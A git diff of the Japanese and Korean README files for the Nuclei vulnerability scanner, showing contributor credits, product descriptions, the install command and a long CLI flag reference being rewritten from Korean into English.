<a href="https://github.com/mrschyte"><img src="https://avatars.githubusercontent.com/u/8571?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/PeterDaveHello"><img src="https://avatars.githubusercontent.com/u/3691490?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/parthmalhotra"><img src="https://avatars.githubusercontent.com/u/28601533?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/owenrumney"><img src="https://avatars.githubusercontent.com/u/3049157?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Ovi3"><img src="https://avatars.githubusercontent.com/u/29408109?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Bisstocuz"><img src="https://avatars.githubusercontent.com/u/42398278?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/daffainfo"><img src="https://avatars.githubusercontent.com/u/36522826?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mhmdiaa"><img src="https://avatars.githubusercontent.com/u/19687798?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/MiryangJung"><img src="https://avatars.githubusercontent.com/u/48237511?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/0xmin"><img src="https://avatars.githubusercontent.com/u/44919834?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/maikthulhu"><img src="https://avatars.githubusercontent.com/u/680830?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/sttlr"><img src="https://avatars.githubusercontent.com/u/40246850?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/iamRjarpan"><img src="https://avatars.githubusercontent.com/u/45498226?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/leoloobeek"><img src="https://avatars.githubusercontent.com/u/8801754?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/KristinnVikar"><img src="https://avatars.githubusercontent.com/u/93918469?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/kant01ne"><img src="https://avatars.githubusercontent.com/u/5072452?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/KeisukeYamashita"><img src="https://avatars.githubusercontent.com/u/23056537?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/1hehaq"><img src="https://avatars.githubusercontent.com/u/162917546?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
</p>
|
||||
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
|
||||
<div align="center">
|
||||
|
||||
<sub>**`nuclei`** は [**MIT ライセンス**](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md) の下で配布されています</sub>
|
||||
|
||||
</div>
|
||||
+570
-318
@@ -1,418 +1,670 @@
|
||||
<h1 align="center">
|
||||
<br>
|
||||
<a href="https://nuclei.projectdiscovery.io"><img src="static/nuclei-logo.png" width="200px" alt="Nuclei"></a>
|
||||
</h1>
|
||||

|
||||
|
||||
<h4 align="center">DSL 기반의 간단한 YAML을 기초로한 빠른 맞춤형 취약점 스캐너</h4>
|
||||
<div align="center">
|
||||
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">`English`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">`中文`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">`Korean`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">`Indonesia`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">`Spanish`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">`日本語`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">`Portuguese`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a>
|
||||
|
||||
</div>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei?filename=v2%2Fgo.mod">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases"><img src="https://img.shields.io/github/downloads/projectdiscovery/nuclei/total">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/graphs/contributors"><img src="https://img.shields.io/github/contributors-anon/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases/"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/issues"><img src="https://img.shields.io/github/issues-raw/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/discussions"><img src="https://img.shields.io/github/discussions/projectdiscovery/nuclei">
|
||||
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
|
||||
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="#작동-방식">작동 방식</a> •
|
||||
<a href="#설치">설치</a> •
|
||||
<a href="#보안-엔지니어를-위한">보안 엔지니어를 위한</a> •
|
||||
<a href="#개발자를-위한">개발자를 위한</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/nuclei/get-started/">문서</a> •
|
||||
<a href="#credits">Credits</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/faq">FAQs</a> •
|
||||
<a href="https://discord.gg/projectdiscovery"> Discord 참가</a>
|
||||
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/overview?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme"><img src="https://img.shields.io/badge/Documentation-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMiIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiBjbGFzcz0ibHVjaWRlIGx1Y2lkZS1ib29rLW9wZW4iPjxwYXRoIGQ9Ik0xMiA3djE0Ii8+PHBhdGggZD0iTTMgMThhMSAxIDAgMCAxLTEtMVY0YTEgMSAwIDAgMSAxLTFoNWE0IDQgMCAwIDEgNCA0IDQgNCAwIDAgMSA0LTRoNWExIDEgMCAwIDEgMSAxdjEzYTEgMSAwIDAgMS0xIDFoLTZhMyAzIDAgMCAwLTMgMyAzIDMgMCAwIDAtMy0zeiIvPjwvc3ZnPg==&logoColor=white"></a>
|
||||
|
||||
<a href="https://github.com/projectdiscovery/nuclei-templates"><img src="https://img.shields.io/badge/Templates Library-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMS41IiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIGNsYXNzPSJsdWNpZGUgbHVjaWRlLXNoaWVsZCI+PHBhdGggZD0iTTIwIDEzYzAgNS0zLjUgNy41LTcuNjYgOC45NWExIDEgMCAwIDEtLjY3LS4wMUM3LjUgMjAuNSA0IDE4IDQgMTNWNmExIDEgMCAwIDEgMS0xYzIgMCA0LjUtMS4yIDYuMjQtMi43MmExLjE3IDEuMTcgMCAwIDEgMS41MiAwQzE0LjUxIDMuODEgMTcgNSAxOSA1YTEgMSAwIDAgMSAxIDF6Ii8+PC9zdmc+&logoColor=white"></a>
|
||||
|
||||
<a href="https://discord.gg/projectdiscovery?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme"><img src="https://img.shields.io/badge/Discord-%235865F2.svg?style=for-the-badge&logo=discord&logoColor=white"></a>
|
||||
|
||||
<hr>
|
||||
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">English</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中文</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">한국어</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">스페인어</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">포르투갈어</a>
|
||||
</p>
|
||||
<br>
|
||||
|
||||
---
|
||||
**Nuclei는 간단한 YAML 기반 템플릿을 활용하는 현대적이고 고성능의 취약점 스캐너입니다. 실제 환경의 조건을 모사하는 맞춤형 취약점 탐지 시나리오를 설계할 수 있어 오탐(false positive)을 제로로 만들어 줍니다.**
|
||||
|
||||
Nuclei는 템플릿을 기반으로 대상 간에 요청을 보내기 위해 사용되며 긍정 오류(false positives)가 0이고 다수의 호스트에서 빠른 스캔을 제공합니다. Nuclei는 TCP, DNS, HTTP, SSL, File, Whois, Websocket, Headless 등을 포함한 다양한 프로토콜의 스캔을 제공합니다. 강력하고 유연한 템플릿을 통해 Nuclei는 모든 종류의 보안 검사를 모델링 할 수 있습니다.
|
||||
- 취약점 템플릿을 만들고 커스터마이즈할 수 있는 간단한 YAML 형식.
|
||||
- 트렌딩 취약점에 대응하기 위해 수천 명의 보안 전문가가 기여.
|
||||
- 실제 환경의 절차를 시뮬레이션하여 취약점을 검증함으로써 오탐 감소.
|
||||
- 매우 빠른 병렬 스캔 처리 및 요청 클러스터링.
|
||||
- 취약점 탐지와 회귀 테스트를 위한 CI/CD 파이프라인 통합.
|
||||
- TCP, DNS, HTTP, SSL, WHOIS, JavaScript, Code 등 다양한 프로토콜 지원.
|
||||
- Jira, Splunk, GitHub, Elastic, GitLab과 통합.
|
||||
|
||||
**300명 이상의** 보안 연구원과 엔지니어가 제공한 다양한 유형의 취약점 템플릿을 보관하는 [전용 저장소](https://github.com/projectdiscovery/nuclei-templates)를 보유하고 있습니다.
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## 목차
|
||||
|
||||
- [**`시작하기`**](#시작하기)
|
||||
- [_`1. Nuclei CLI`_](#1-nuclei-cli)
|
||||
- [_`2. Pro 및 Enterprise 에디션`_](#2-pro-및-enterprise-에디션)
|
||||
- [**`문서`**](#문서)
|
||||
- [_`명령줄 플래그`_](#명령줄-플래그)
|
||||
- [_`단일 대상 스캔`_](#단일-대상-스캔)
|
||||
- [_`다중 대상 스캔`_](#다중-대상-스캔)
|
||||
- [_`네트워크 스캔`_](#네트워크-스캔)
|
||||
- [_`사용자 정의 템플릿으로 스캔`_](#사용자-정의-템플릿으로-스캔)
|
||||
- [_`Nuclei를 ProjectDiscovery에 연결`_](#nuclei를-projectdiscovery에-연결)
|
||||
- [**`Nuclei 템플릿, 커뮤니티 및 보상`**](#nuclei-템플릿-커뮤니티-및-보상-) 💎
|
||||
- [**`우리의 미션`**](#우리의-미션)
|
||||
- [**`기여자`**](#기여자-heart) ❤
|
||||
- [**`라이선스`**](#라이선스)
|
||||
|
||||
## 작동 방식
|
||||
<br>
|
||||
<br>
|
||||
|
||||
<h3 align="center">
|
||||
<img src="static/nuclei-flow.jpg" alt="nuclei-flow" width="700px"></a>
|
||||
</h3>
|
||||
## 시작하기
|
||||
|
||||
### **1. Nuclei CLI**
|
||||
|
||||
# 설치
|
||||
_여러분의 머신에 Nuclei를 설치하세요. [**`여기`**](https://docs.projectdiscovery.io/tools/nuclei/install?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme)에 있는 설치 가이드를 따라 시작할 수 있습니다. 또한 넉넉한 월간 무료 사용량을 제공하는 [**`무료 클라우드 티어`**](https://cloud.projectdiscovery.io/sign-up)도 제공합니다:_
|
||||
|
||||
Nuclei를 성공적으로 설치하기 위해서 **go1.24.2**가 필요합니다. 다음 명령을 실행하여 최신 버전을 설치합니다.
|
||||
- 취약점 발견 결과를 저장하고 시각화
|
||||
- nuclei 템플릿을 작성하고 관리
|
||||
- 최신 nuclei 템플릿에 액세스
|
||||
- 대상을 발견하고 저장
|
||||
|
||||
> [!Important]
|
||||
> |**이 프로젝트는 활발하게 개발 중입니다**. 릴리스마다 호환성에 영향을 주는 변경이 발생할 수 있습니다. 업데이트 전 릴리스 changelog를 확인하세요.|
|
||||
> |:--------------------------------|
|
||||
> | 이 프로젝트는 독립적인 CLI 도구로 사용하도록 설계되었습니다. **nuclei를 서비스로 실행할 경우 보안 위험이 발생할 수 있습니다.** 주의해서 사용하고 추가적인 보안 조치를 권장합니다. |
|
||||
|
||||
<br>
|
||||
|
||||
### **2. Pro 및 Enterprise 에디션**
|
||||
|
||||
_보안 팀과 기업을 위해 Nuclei OSS 위에 구축된 클라우드 호스팅 서비스를 제공합니다. 팀과 기존 워크플로우와 함께 대규모로 지속적인 취약점 스캔을 수행할 수 있도록 최적화되어 있습니다:_
|
||||
|
||||
- 50배 빠른 스캔
|
||||
- 높은 정확도의 대규모 스캔
|
||||
- 클라우드 서비스 통합 (AWS, GCP, Azure, Cloudflare, Fastly, Terraform, Kubernetes)
|
||||
- Jira, Slack, Linear, API, Webhook 지원
|
||||
- 경영진 및 컴플라이언스 리포트
|
||||
- 추가: 실시간 스캔, SAML SSO, SOC 2 준수 플랫폼(EU 및 미국 호스팅 옵션 제공), 공유 팀 워크스페이스 등
|
||||
- [**`새로운 기능을 지속적으로 추가`**](https://feedback.projectdiscovery.io/changelog)하고 있습니다!
|
||||
- **적합한 대상:** 침투 테스터, 보안 팀, 기업
|
||||
|
||||
대규모 조직이거나 복잡한 요구사항이 있는 경우 [**`Pro에 가입`**](https://projectdiscovery.io/pricing?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme)하거나 [**`저희 팀에 문의`**](https://projectdiscovery.io/request-demo?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme)해 주세요.
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## 문서
|
||||
|
||||
Nuclei 전체 [**`문서를 여기에서`**](https://docs.projectdiscovery.io/tools/nuclei/running) 확인하세요. Nuclei가 처음이라면 [**`기초 YouTube 시리즈`**](https://www.youtube.com/playlist?list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl)를 시청해 보세요.
|
||||
|
||||
<div align="center">
|
||||
|
||||
<a href="https://www.youtube.com/watch?v=b5qMyQvL1ZA&list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme" target="_blank"><img src="/static/nuclei-getting-started.png" width="350px"></a> <a href="https://www.youtube.com/watch?v=nFXygQdtjyw&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme" target="_blank"><img src="/static/nuclei-write-your-first-template.png" width="350px"></a>
|
||||
|
||||
</div>
|
||||
|
||||
<br>
|
||||
|
||||
### 설치
|
||||
|
||||
`nuclei` 설치에는 **go >= 1.24.2** 가 필요합니다. 다음 명령어를 실행하여 저장소를 가져옵니다:
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
```
|
||||
|
||||
**자세한 설치 방법은 [여기](https://nuclei.projectdiscovery.io/nuclei/get-started/)에서 찾을 수 있습니다.**
|
||||
nuclei 설치에 관한 자세한 내용은 `https://docs.projectdiscovery.io/tools/nuclei/install` 를 참조하세요.
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
### 명령줄 플래그
|
||||
|
||||
### Nuclei 템플릿
|
||||
|
||||
Nuclei는 [v2.5.2](https://github.com/projectdiscovery/nuclei/releases/tag/v2.5.2)부터 자동 템플릿 다운로드/업데이트를 기본으로 지원합니다.
|
||||
[**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates) 프로젝트는 지속적으로 업데이트되는 즉시 사용 가능한 템플릿 목록을 제공합니다.
|
||||
|
||||
`update-templates` 플래그를 사용하여 언제든 템플릿을 업데이트할 수 있습니다. Nuclei의 [템플릿 가이드](https://nuclei.projectdiscovery.io/templating-guide/)에 따라 개별 워크플로 및 요구 사항에 대한 자체 검사를 작성할 수 있습니다.
|
||||
|
||||
YAML DSL의 참조 구문은 [여기](SYNTAX-REFERENCE.md)에서 확인할 수 있습니다.
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
### 사용 방법
|
||||
도구의 모든 플래그를 표시하려면:
|
||||
|
||||
```sh
|
||||
nuclei -h
|
||||
```
|
||||
|
||||
도구에 대한 도움말이 표시됩니다. 다음은 지원하는 모든 스위치들입니다.
|
||||
<details>
|
||||
<summary>전체 도움말 플래그 펼치기</summary>
|
||||
|
||||
```yaml
|
||||
Nuclei is a fast, template based vulnerability scanner focusing
|
||||
on extensive configurability, massive extensibility and ease of use.
|
||||
|
||||
```console
|
||||
Nuclei는 빠르고, 템플릿 기반의 취약점 스캐너로
|
||||
넓은 설정 가능성, 대규모 확장성 및 사용 편의성에 중점을 두고 있습니다.
|
||||
|
||||
사용법:
|
||||
Usage:
|
||||
./nuclei [flags]
|
||||
|
||||
Flags:
|
||||
TARGET:
|
||||
-u, -target string[] 스캔할 대상 URL/호스트
|
||||
-l, -list string 스캔할 대상 URL/호스트 목록이 있는 파일 경로 (한 줄에 하나씩)
|
||||
-resume string 지정된 파일에서 스캔을 재개하고 지정된 파일에 저장 (클러스터링은 비활성화됨)
|
||||
-sa, -scan-all-ips dns 레코드와 관련된 모든 IP 스캔
|
||||
-iv, -ip-version string[] 스캔할 호스트의 IP 버전 (4,6) - (기본값 4)
|
||||
-u, -target string[] target URLs/hosts to scan
|
||||
-l, -list string path to file containing a list of target URLs/hosts to scan (one per line)
|
||||
-targets-inline string inline multiline target list (for use in template profiles)
|
||||
-eh, -exclude-hosts string[] hosts to exclude to scan from the input list (ip, cidr, hostname)
|
||||
-resume string resume scan from and save to specified file (clustering will be disabled)
|
||||
-sa, -scan-all-ips scan all the IP's associated with dns record
|
||||
-iv, -ip-version string[] IP version to scan of hostname (4,6) - (default 4)
|
||||
|
||||
TARGET-FORMAT:
|
||||
-im, -input-mode string mode of input file (list, burp, jsonl, yaml, openapi, swagger, http) (default "list")
|
||||
-ro, -required-only use only required fields in input format when generating requests
|
||||
-sfv, -skip-format-validation skip format validation (like missing vars) when parsing input file
|
||||
-vtt, -vars-text-templating enable text templating for vars in input file (only for yaml input mode)
|
||||
-vfp, -var-file-paths string[] list of yaml file contained vars to inject into yaml input
|
||||
|
||||
TEMPLATES:
|
||||
-nt, -new-templates 최신 nuclei-templates 릴리스에 추가된 새 템플릿만 실행
|
||||
-ntv, -new-templates-version string[] 특정 버전에 추가된 새 템플릿 실행
|
||||
-as, -automatic-scan wappalyzer 기술 감지를 사용하여 태그 매핑으로 자동 웹 스캔
|
||||
-t, -templates string[] 실행할 템플릿 또는 템플릿 디렉토리 목록 (쉼표로 구분, 파일)
|
||||
-turl, -template-url string[] 실행할 템플릿 url 또는 템플릿 url 목록 (쉼표로 구분, 파일)
|
||||
-w, -workflows string[] 실행할 워크플로우 또는 워크플로우 디렉토리 목록 (쉼표로 구분, 파일)
|
||||
-wurl, -workflow-url string[] 실행할 워크플로우 url 또는 워크플로우 url 목록 (쉼표로 구분, 파일)
|
||||
-validate nuclei에 전달된 템플릿 검증
|
||||
-nss, -no-strict-syntax 템플릿에서 엄격한 구문 검사 비활성화
|
||||
-td, -template-display 템플릿 내용 표시
|
||||
-tl 사용 가능한 모든 템플릿 목록
|
||||
-sign NUCLEI_SIGNATURE_PRIVATE_KEY 환경 변수에서 정의된 개인 키로 템플릿에 서명
|
||||
-code 코드 프로토콜 기반 템플릿 로딩 활성화
|
||||
-nt, -new-templates run only new templates added in latest nuclei-templates release
|
||||
-ntv, -new-templates-version string[] run new templates added in specific version
|
||||
-as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping
|
||||
-t, -templates string[] list of template or template directory to run (comma-separated, file)
|
||||
-turl, -template-url string[] template url or list containing template urls to run (comma-separated, file)
|
||||
-ai, -prompt string generate and run template using ai prompt
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all templates matching current filters
|
||||
-tgl list all available tags
|
||||
-sign signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable
|
||||
-code enable loading code protocol-based templates
|
||||
-dut, -disable-unsigned-templates disable running unsigned templates or templates with mismatched signature
|
||||
-esc, -enable-self-contained enable loading self-contained templates
|
||||
-egm, -enable-global-matchers enable loading global matchers templates
|
||||
-file enable loading file templates
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] 저자를 기반으로 실행할 템플릿 (쉼표로 구분, 파일)
|
||||
-tags string[] 태그를 기반으로 실행할 템플릿 (쉼표로 구분, 파일)
|
||||
-etags, -exclude-tags string[] 태그를 기반으로 제외할 템플릿 (쉼표로 구분, 파일)
|
||||
-itags, -include-tags string[] 기본값 또는 구성에 의해 제외되더라도 실행되어야 하는 태그
|
||||
-id, -template-id string[] 템플릿 id를 기반으로 실행할 템플릿 (쉼표로 구분, 파일, 와일드카드 허용)
|
||||
-eid, -exclude-id string[] 템플릿 id를 기반으로 제외할 템플릿 (쉼표로 구분, 파일)
|
||||
-it, -include-templates string[] 기본값 또는 구성에 의해 제외되더라도 실행되어야 하는 템플릿
|
||||
-et, -exclude-templates string[] 제외할 템플릿 또는 템플릿 디렉토리 (쉼표로 구분, 파일)
|
||||
-em, -exclude-matchers string[] 결과에서 제외할 템플릿 매처
|
||||
-s, -severity value[] 심각도를 기반으로 실행할 템플릿. 가능한 값: info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] 심각도를 기반으로 제외할 템플릿. 가능한 값: info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] 프로토콜 유형을 기반으로 실행할 템플릿. 가능한 값: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-ept, -exclude-type value[] 프로토콜 유형을 기반으로 제외할 템플릿. 가능한 값: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-tc, -template-condition string[] 표현식 조건을 기반으로 실행할 템플릿
|
||||
-a, -author string[] templates to run based on authors (comma-separated, file)
|
||||
-tags string[] templates to run based on tags (comma-separated, file)
|
||||
-etags, -exclude-tags string[] templates to exclude based on tags (comma-separated, file)
|
||||
-itags, -include-tags string[] tags to be executed even if they are excluded either by default or configuration
|
||||
-id, -template-id string[] templates to run based on template ids (comma-separated, file, allow-wildcard)
|
||||
-eid, -exclude-id string[] templates to exclude based on template ids (comma-separated, file)
|
||||
-it, -include-templates string[] path to template file or directory to be executed even if they are excluded either by default or configuration
|
||||
-et, -exclude-templates string[] path to template file or directory to exclude (comma-separated, file)
|
||||
-em, -exclude-matchers string[] template matchers to exclude in result
|
||||
-s, -severity value[] templates to run based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] templates to run based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-ept, -exclude-type value[] templates to exclude based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-tc, -template-condition string[] templates to run based on expression condition
|
||||
|
||||
OUTPUT:
|
||||
-o, -output string 발견된 문제/취약점을 작성할 출력 파일
|
||||
-sresp, -store-resp 모든 요청/응답을 nuclei를 통해 출력 디렉토리에 저장
|
||||
-srd, -store-resp-dir string 모든 요청/응답을 nuclei를 통해 사용자 정의 디렉토리에 저장 (기본값 "output")
|
||||
-silent 결과만 표시
|
||||
-nc, -no-color 출력 내용 색상 비활성화 (ANSI 이스케이프 코드)
|
||||
-j, -jsonl JSONL(ines) 형식으로 출력 작성
|
||||
-irr, -include-rr -omit-raw JSON, JSONL, Markdown 출력에 요청/응답 쌍 포함 (결과만 해당) [사용 중단 -omit-raw 사용] (기본값 true)
|
||||
-or, -omit-raw JSON, JSONL, Markdown 출력에서 요청/응답 쌍 생략 (결과만 해당)
|
||||
-ot, -omit-template JSON, JSONL 출력에서 인코딩된 템플릿 생략
|
||||
-nm, -no-meta CLI 출력에서 결과 메타데이터 인쇄 비활성화
|
||||
-ts, -timestamp CLI 출력에 타임스탬프 인쇄 활성화
|
||||
-rdb, -report-db string nuclei 보고 데이터베이스 (보고 데이터를 유지하려면 항상 이것을 사용)
|
||||
-ms, -matcher-status 매치 실패 상태 표시
|
||||
-me, -markdown-export string Markdown 형식으로 결과를 내보낼 디렉토리
|
||||
-se, -sarif-export string SARIF 형식으로 결과를 내보낼 파일
|
||||
-je, -json-export string JSON 형식으로 결과를 내보낼 파일
|
||||
-jle, -jsonl-export string JSONL(ine) 형식으로 결과를 내보낼 파일
|
||||
-o, -output string output file to write found issues/vulnerabilities
|
||||
-sresp, -store-resp store all request/response passed through nuclei to output directory
|
||||
-srd, -store-resp-dir string store all request/response passed through nuclei to custom directory (default "output")
|
||||
-silent display findings only
|
||||
-nc, -no-color disable output content coloring (ANSI escape codes)
|
||||
-j, -jsonl write output in JSONL(ines) format
|
||||
-irr, -include-rr -omit-raw include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use -omit-raw] (default true)
|
||||
-or, -omit-raw omit request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only)
|
||||
-ot, -omit-template omit encoded template in the JSON, JSONL output
|
||||
-nm, -no-meta disable printing result metadata in cli output
|
||||
-ts, -timestamp enables printing timestamp in cli output
|
||||
-rdb, -report-db string nuclei reporting database (always use this to persist report data)
|
||||
-ms, -matcher-status display match failure status
|
||||
-me, -markdown-export string directory to export results in markdown format
|
||||
-se, -sarif-export string file to export results in SARIF format
|
||||
-je, -json-export string file to export results in JSON format
|
||||
-jle, -jsonl-export string file to export results in JSONL(ine) format
|
||||
-pe, -pdf-export string file to export results in PDF format
|
||||
-rd, -redact string[] redact given list of keys from query parameter, request header and body
|
||||
|
||||
CONFIGURATIONS:
|
||||
-config string nuclei 구성 파일 경로
|
||||
-fr, -follow-redirects http 템플릿에 대한 리디렉션 따라가기 활성화
|
||||
-fhr, -follow-host-redirects 같은 호스트에서 리디렉션 따라가기
|
||||
-mr, -max-redirects int http 템플릿에 대해 따라갈 최대 리디렉션 수 (기본값 10)
|
||||
-dr, -disable-redirects http 템플릿에 대한 리디렉션 비활성화
|
||||
-rc, -report-config string nuclei 보고 모듈 구성 파일
|
||||
-H, -header string[] 모든 http 요청에 포함할 사용자 정의 헤더/쿠키 (header:value 형식) (cli, file)
|
||||
-V, -var value key=value 형식의 사용자 정의 변수
|
||||
-r, -resolvers string nuclei에 대한 리졸버 목록이 있는 파일
|
||||
-sr, -system-resolvers 오류 대체로 시스템 DNS 해결 사용
|
||||
-dc, -disable-clustering 요청 클러스터링 비활성화
|
||||
-passive 수동 HTTP 응답 처리 모드 활성화
|
||||
-fh2, -force-http2 요청에 http2 연결 강제
|
||||
-ev, -env-vars 템플릿에서 환경 변수 사용 활성화
|
||||
-cc, -client-cert string 스캔 대상 호스트에 대한 인증에 사용되는 클라이언트 인증서 파일 (PEM 인코딩)
|
||||
-ck, -client-key string 스캔 대상 호스트에 대한 인증에 사용되는 클라이언트 키 파일 (PEM 인코딩)
|
||||
-ca, -client-ca string 스캔 대상 호스트에 대한 인증에 사용되는 클라이언트 인증서 기관 파일 (PEM 인코딩)
|
||||
-sml, -show-match-line 파일 템플릿에 대한 매치 라인 표시, 추출기만 작동
|
||||
-ztls ztls 라이브러리 사용, tls13에 대한 표준 하나로 자동 대체 [사용 중단] 자동 대체는 기본적으로 ztls로 활성화됨
|
||||
-sni string 사용할 tls sni 호스트 이름 (기본값: 입력 도메인 이름)
|
||||
-lfa, -allow-local-file-access 시스템 어디에서나 파일 (페이로드) 액세스 허용
|
||||
-lna, -restrict-local-network-access 로컬 / 개인 네트워크로의 연결 차단
|
||||
-i, -interface string 네트워크 스캔에 사용할 네트워크 인터페이스
|
||||
-at, -attack-type string 수행할 페이로드 조합 유형 (batteringram,pitchfork,clusterbomb)
|
||||
-sip, -source-ip string 네트워크 스캔에 사용할 소스 IP 주소
|
||||
-rsr, -response-size-read int 바이트 단위로 읽을 최대 응답 크기 (기본값 10485760)
|
||||
-rss, -response-size-save int 바이트 단위로 읽을 최대 응답 크기 (기본값 1048576)
|
||||
-reset reset은 모든 nuclei 구성 및 데이터 파일을 제거합니다 (nuclei-templates 포함)
|
||||
-tlsi, -tls-impersonate 실험적인 클라이언트 hello (ja3) tls 무작위화 활성화
|
||||
-config string path to the nuclei configuration file
|
||||
-tp, -profile string template profile config file to run
|
||||
-tpl, -profile-list list community template profiles
|
||||
-fr, -follow-redirects enable following redirects for http templates
|
||||
-fhr, -follow-host-redirects follow redirects on the same host
|
||||
